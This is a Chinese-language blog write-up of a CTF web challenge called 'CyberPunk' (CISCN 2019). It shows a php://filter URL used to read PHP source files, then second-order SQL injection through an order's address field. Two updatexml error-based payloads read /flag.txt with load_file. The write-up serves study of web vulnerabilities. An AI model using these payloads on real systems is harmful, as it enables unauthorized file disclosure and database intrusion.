0%

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

读题

  1. 打开题目,我们可以创建、查看、修改、删除订单。猜测是二次注入,一顿测试后无果。
  2. 查看源码,发现有提示?file=?尝试后面直接接文件名。发现没有任何返回。
  3. 尝试使用php伪协议读取文件内容,成功:
    1
    /index.php?file=php://filter/read=convert.base64-encode/resource=delete.php
    按照这种方式把几个页面都读出来。

漏洞分析

 这里我偷了个懒,直接放Seay工具里去跑。结果如下:

 先去看看index.php ,发现它进行了ini_set('open_basedir', '/var/www/html/');也就是目录穿越不太可能了。
 再来看看change.php的:

 我们不难发现$row['address']它是从数据库中取出来的且没有做其它的过滤操作,我们尝试爆破注入。

二次注入之爆破注入

使用正常思路一路爆破后数据库后发现并没有flag。于是猜测flag再根目录下至于文件名就一个一个猜,如:flag、flag.txt、flag.php 最后发现是 flag.txt。 使用以下paylaod:

1
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

报出前30位,接着使用以下payload爆出剩下的:

1
1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),28,50)),0x7e),1)#

根据返回结果的拼接我们可以得到最后的 flag

 对了payload是放在地址那里,然后名字电话乱填都ok。注册后去修改就可以被执行了。


-------------本文结束感谢您的阅读-------------